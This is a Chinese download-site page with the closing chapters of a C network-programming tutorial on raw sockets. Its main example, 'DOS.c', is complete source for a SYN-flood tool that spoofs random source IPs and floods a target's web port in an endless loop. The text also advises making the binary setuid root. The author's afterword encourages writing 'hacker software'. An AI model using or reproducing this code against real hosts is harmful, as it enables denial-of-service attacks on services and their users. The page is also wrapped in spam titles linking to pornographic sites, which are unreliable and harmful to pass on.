亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? dos.txt

?? 基于C語言的dos 攻擊。主要講述了套接字的創建方式
?? TXT
字號:
10. 原始套接字  
    我們在前面已經學習過了網絡程序的兩種套接字(SOCK_STREAM,SOCK_DRAGM).在這一章 里面我們一起來學習另外一種套接字--原始套接字(SOCK_RAW). 應用原始套接字,我們可以編寫出由TCP和UDP套接字不能夠實現的功能. 注意原始套接字只能夠由有root權限的人創建.  

10.1 原始套接字的創建  

 int sockfd(AF_INET,SOCK_RAW,protocol) 

可以創建一個原始套接字.根據協議的類型不同我們可以創建不同類型的原始套接字 比如:IPPROTO_ICMP,IPPROTO_TCP,IPPROTO_UDP等等.詳細的情況查看  下面我們以一個實例來說明原始套接字的創建和使用  

10.2 一個原始套接字的實例  
還記得DOS是什么意思嗎?在這里我們就一起來編寫一個實現DOS的小程序. 下面是程序的源代碼  

/********************  DOS.c               *****************/ 
#include  
#include  
#include  
#include  
#include  
#include  
#include  
#include  
#include  

#define DESTPORT        80       /* 要攻擊的端口(WEB)      */ 
#define LOCALPORT       8888 

void send_tcp(int sockfd,struct sockaddr_in *addr); 
unsigned short check_sum(unsigned short *addr,int len); 

int main(int argc,char **argv) 
{ 
 int sockfd; 
 struct sockaddr_in addr; 
 struct hostent *host; 
 int on=1; 
  
 if(argc!=2) 
 { 
        fprintf(stderr,"Usage:%s hostname\n\a",argv[0]); 
        exit(1); 
 } 
  
 bzero(&addr,sizeof(struct sockaddr_in)); 
 addr.sin_family=AF_INET; 
 addr.sin_port=htons(DESTPORT); 
  
 if(inet_aton(argv[1],&addr.sin_addr)==0) 
 { 
        host=gethostbyname(argv[1]); 
        if(host==NULL) 
        { 
                fprintf(stderr,"HostName Error:%s\n\a",hstrerror(h_errno)); 
                exit(1); 
        } 
        addr.sin_addr=*(struct in_addr *)(host->h_addr_list[0]); 
 } 
  
 /**** 使用IPPROTO_TCP創建一個TCP的原始套接字    ****/ 

 sockfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP); 
 if(sockfd<0) 
 { 
        fprintf(stderr,"Socket Error:%s\n\a",strerror(errno)); 
        exit(1); 
 } 
/********  設置IP數據包格式,告訴系統內核模塊IP數據包由我們自己來填寫  ***/ 
  
setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on)); 

/****  沒有辦法,只用超級護用戶才可以使用原始套接字    *********/ 
 setuid(getpid()); 

/*********  發送炸彈了!!!!          ****/ 
 send_tcp(sockfd,&addr); 
}  



/*******  發送炸彈的實現   *********/ 
void send_tcp(int sockfd,struct sockaddr_in *addr) 
{ 
 char buffer[100];  /**** 用來放置我們的數據包  ****/ 
 struct ip *ip; 
 struct tcphdr *tcp; 
 int head_len; 
  
 /******* 我們的數據包實際上沒有任何內容,所以長度就是兩個結構的長度  ***/ 
  
 head_len=sizeof(struct ip)+sizeof(struct tcphdr); 
  
 bzero(buffer,100); 

 /********  填充IP數據包的頭部,還記得IP的頭格式嗎?     ******/  
 ip=(struct ip *)buffer; 
 ip->ip_v=IPVERSION;             /** 版本一般的是 4      **/ 
 ip->ip_hl=sizeof(struct ip)>>2; /** IP數據包的頭部長度  **/ 
 ip->ip_tos=0;                   /** 服務類型            **/ 
 ip->ip_len=htons(head_len);     /** IP數據包的長度      **/ 
 ip->ip_id=0;                    /** 讓系統去填寫吧      **/ 
 ip->ip_off=0;                   /** 和上面一樣,省點時間 **/         
 ip->ip_ttl=MAXTTL;              /** 最長的時間   255    **/ 
 ip->ip_p=IPPROTO_TCP;           /** 我們要發的是 TCP包  **/  
 ip->ip_sum=0;                   /** 校驗和讓系統去做    **/ 
 ip->ip_dst=addr->sin_addr;      /** 我們攻擊的對象      **/ 
  
 /*******  開始填寫TCP數據包                           *****/ 
 tcp=(struct tcphdr *)(buffer +sizeof(struct ip)); 
 tcp->source=htons(LOCALPORT); 
 tcp->dest=addr->sin_port;           /** 目的端口    **/ 
 tcp->seq=random(); 
 tcp->ack_seq=0; 
 tcp->doff=5; 
 tcp->syn=1;                        /** 我要建立連接 **/ 
 tcp->check=0; 

  
 /** 好了,一切都準備好了.服務器,你準備好了沒有?? ^_^  **/ 
 while(1) 
  { 
 /**  你不知道我是從那里來的,慢慢的去等吧!      **/ 
    ip->ip_src.s_addr=random();      

 /** 什么都讓系統做了,也沒有多大的意思,還是讓我們自己來校驗頭部吧 */ 
 /**            下面這條可有可無    */ 
    tcp->check=check_sum((unsigned short *)tcp, 
                sizeof(struct tcphdr));  
    sendto(sockfd,buffer,head_len,0,addr,sizeof(struct sockaddr_in)); 
  } 
} 

/* 下面是首部校驗和的算法,偷了別人的 */ 
unsigned short check_sum(unsigned short *addr,int len) 
{ 
 register int nleft=len; 
 register int sum=0; 
 register short *w=addr; 
  short answer=0; 
  
 while(nleft>1) 
 { 
  sum+=*w++; 
  nleft-=2; 
 } 
 if(nleft==1) 
 { 
  *(unsigned char *)(&answer)=*(unsigned char *)w; 
  sum+=answer; 
 } 
   
 sum=(sum>>16)+(sum&0xffff); 
 sum+=(sum>>16); 
 answer=~sum; 
 return(answer); 
} 

編譯一下,拿localhost做一下實驗,看看有什么結果.(千萬不要試別人的啊). 為了讓普通用戶可以運行這個程序,我們應該將這個程序的所有者變為root,且 設置setuid位  

 [root@hoyt /root]#chown root DOS 
 [root@hoyt /root]#chmod +s DOS 


10.3 總結  
原始套接字和一般的套接字不同的是以前許多由系統做的事情,現在要由我們自己來做了. 不過這里面是不是有很多的樂趣呢. 當我們創建了一個TCP套接字的時候,我們只是負責把我們要發送的內容(buffer)傳遞給了系統. 系統在收到我們的數據后,回自動的調用相應的模塊給數據加上TCP頭部,然后加上IP頭部. 再發送出去.而現在是我們自己創建各個的頭部,系統只是把它們發送出去. 在上面的實例中,由于我們要修改我們的源IP地址,所以我們使用了setsockopt函數,如果我們只是修改TCP數據,那么IP數據一樣也可以由系統來創建的.  

-------------------------------------------------------------------------------- 

11. 后記 
  總算完成了網絡編程這個教程.算起來我差不多寫了一個星期,原來以為寫這個應該是一件 不難的事,做起來才知道原來有很多的地方都比我想象的要難.我還把很多的東西都省略掉了 不過寫完了這篇教程以后,我好象對網絡的認識又增加了一步.  

  如果我們只是編寫一般的 網絡程序還是比較容易的,但是如果我們想寫出比較好的網絡程序我們還有著遙遠的路要走. 網絡程序一般的來說都是多進程加上多線程的.為了處理好他們內部的關系,我們還要學習 進程之間的通信.在網絡程序里面有著許許多多的突發事件,為此我們還要去學習更高級的 事件處理知識.現在的信息越來越多了,為了處理好這些信息,我們還要去學習數據庫. 如果要編寫出有用的黑客軟件,我們還要去熟悉各種網絡協議.總之我們要學的東西還很多很多.  

  看一看外國的軟件水平,看一看印度的軟件水平,寶島臺灣的水平,再看一看我們自己的 軟件水平大家就會知道了什么叫做差距.我們現在用的軟件有幾個是我們中國人自己編寫的.   

  不過大家不要害怕,不用擔心.只要我們還是清醒的,還能夠認清我們和別人的差距, 我們就還有希望. 畢竟我們現在還年輕.只要我們努力,認真的去學習,我們一定能夠學好的.我們就可以追上別人直到超過別人!  

相信一點:  

            別人可以做到的我們一樣可以做到,而且可以比別人做的更好!  

   勇敢的年輕人,為了我們偉大祖國的軟件產業,為了祖國的未來,努力的去奮斗吧!祖國會記住你們的!  


hoyt  

11.1 參考資料  
<<實用UNIX編程>>---機械工業出版社.  

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
亚洲高清不卡在线观看| 亚洲精品乱码久久久久久黑人| 一本大道综合伊人精品热热| 狠狠色狠狠色综合系列| 黄色成人免费在线| 国产精品1区2区3区| 国产一区二区在线观看视频| 激情国产一区二区| 成人黄色网址在线观看| 成+人+亚洲+综合天堂| 97精品久久久久中文字幕| 色一情一乱一乱一91av| 欧美另类久久久品| 欧美mv和日韩mv的网站| 久久色在线视频| 一区在线观看免费| 亚洲一二三四久久| 国产呦萝稀缺另类资源| 国产成人高清视频| 91黄色免费看| 2021国产精品久久精品 | 亚洲一区二区三区美女| 午夜av区久久| 国产一区二区0| 色噜噜狠狠色综合中国| 欧美日韩精品一区二区三区| 亚洲精品在线观| 亚洲日本va午夜在线影院| 亚洲国产日韩一区二区| 国产在线精品免费| 欧美午夜精品免费| 久久久精品免费网站| 亚洲激情av在线| 国产在线一区二区| 日本乱人伦一区| 久久影院午夜片一区| 亚洲日本乱码在线观看| 日本欧美韩国一区三区| 成人sese在线| 日韩一区二区视频| 亚洲天堂免费在线观看视频| 老司机精品视频线观看86| 99久久99久久精品免费看蜜桃| 911精品国产一区二区在线| 久久精品夜色噜噜亚洲a∨| 亚洲图片一区二区| 99视频一区二区| 亚洲精品一区二区三区蜜桃下载| 夜夜亚洲天天久久| 成人激情图片网| 精品99一区二区三区| 亚洲午夜日本在线观看| av中文字幕不卡| 国产亚洲污的网站| 精品在线亚洲视频| 欧美日韩精品一区视频| 亚洲视频在线观看一区| 国产精品一卡二卡在线观看| 日韩视频在线永久播放| 午夜精品国产更新| 欧美性受xxxx| 亚洲福利视频三区| 91搞黄在线观看| 亚洲免费av网站| gogo大胆日本视频一区| 国产精品私房写真福利视频| 黄网站免费久久| 国产午夜精品理论片a级大结局| 精品一区二区影视| 91麻豆精品国产综合久久久久久| 亚洲免费毛片网站| 色欲综合视频天天天| 亚洲私人影院在线观看| www.av亚洲| 亚洲激情图片qvod| 欧美视频在线一区| 日精品一区二区| 制服.丝袜.亚洲.中文.综合| 五月天激情综合网| 欧美一级片免费看| 美女视频免费一区| 亚洲精品在线观看网站| 国产精品自拍av| 国产精品视频一区二区三区不卡 | 久久综合久色欧美综合狠狠| 男女男精品视频网| 久久综合一区二区| 成人综合婷婷国产精品久久蜜臀| 国产精品乱码一区二三区小蝌蚪| 99在线视频精品| 亚洲国产成人高清精品| 91精品国产91久久综合桃花| 老司机免费视频一区二区三区| 久久久三级国产网站| 成人黄页毛片网站| 国产精品一区二区无线| 久久久精品影视| 日本道免费精品一区二区三区| 亚洲午夜久久久久久久久电影网 | 欧美日韩一区中文字幕| 日韩成人免费看| 国产精品美女久久久久久久| 色综合激情五月| 激情伊人五月天久久综合| 国产精品不卡视频| 久久精品视频一区二区三区| 成人a级免费电影| 日韩av电影天堂| 亚洲国产精品av| 91精品国产免费久久综合| 国产精一品亚洲二区在线视频| 亚洲人精品一区| 欧美成人一级视频| 91福利在线看| 狠狠色丁香婷婷综合久久片| 一级精品视频在线观看宜春院 | 国内一区二区在线| 一区二区三区毛片| 欧美成人a视频| 精品视频一区二区不卡| 国产精品69久久久久水密桃| 婷婷成人激情在线网| 国产精品久久久久影院| 精品伦理精品一区| 欧美日本在线观看| 91亚洲精品一区二区乱码| 久久精品国产色蜜蜜麻豆| 亚洲伊人伊色伊影伊综合网| 日韩va欧美va亚洲va久久| 国产精品乱码久久久久久| 欧美电影免费观看高清完整版在 | 91精品国产综合久久久久久久| www.日本不卡| 成人午夜电影网站| 国产呦精品一区二区三区网站| 亚洲成人动漫在线免费观看| 综合中文字幕亚洲| 国产精品乱码人人做人人爱| 久久亚洲一级片| 精品久久久久一区二区国产| 88在线观看91蜜桃国自产| 91蜜桃免费观看视频| 国产成人99久久亚洲综合精品| 久久国产麻豆精品| 麻豆传媒一区二区三区| 日韩国产精品大片| 同产精品九九九| 性感美女极品91精品| 一区二区三区在线观看动漫| 亚洲天堂福利av| 亚洲人成网站色在线观看| 中文字幕精品—区二区四季| 中文字幕第一区二区| 日韩极品在线观看| 丝袜美腿一区二区三区| 天天操天天色综合| 日本欧美在线观看| 日韩高清一区在线| 久久se精品一区二区| 国产一区二区日韩精品| 国产成人在线视频免费播放| 高清在线成人网| 99久久综合狠狠综合久久| 色综合网站在线| 欧美日本不卡视频| 日韩欧美国产电影| 久久久99精品久久| 国产精品进线69影院| 亚洲精品第一国产综合野| 亚洲国产日日夜夜| 加勒比av一区二区| av激情综合网| 欧美狂野另类xxxxoooo| 欧美电视剧在线观看完整版| 久久久久国产精品厨房| 18成人在线观看| 日本欧美韩国一区三区| 国产高清精品久久久久| 一本大道综合伊人精品热热| 7777精品伊人久久久大香线蕉最新版| 日韩欧美aaaaaa| 亚洲欧美一区二区在线观看| 亚洲一区二区av电影| 国内外成人在线| 欧美视频一区在线| 欧美大胆一级视频| 亚洲丝袜自拍清纯另类| 免费成人在线观看视频| av日韩在线网站| 精品国产123| 亚洲在线观看免费| 国产精品一品二品| 欧美老人xxxx18| 亚洲日本va午夜在线影院| 九一九一国产精品| 欧美日韩在线精品一区二区三区激情 | www.亚洲精品| 日韩欧美高清一区| 亚洲午夜精品在线| 不卡在线观看av|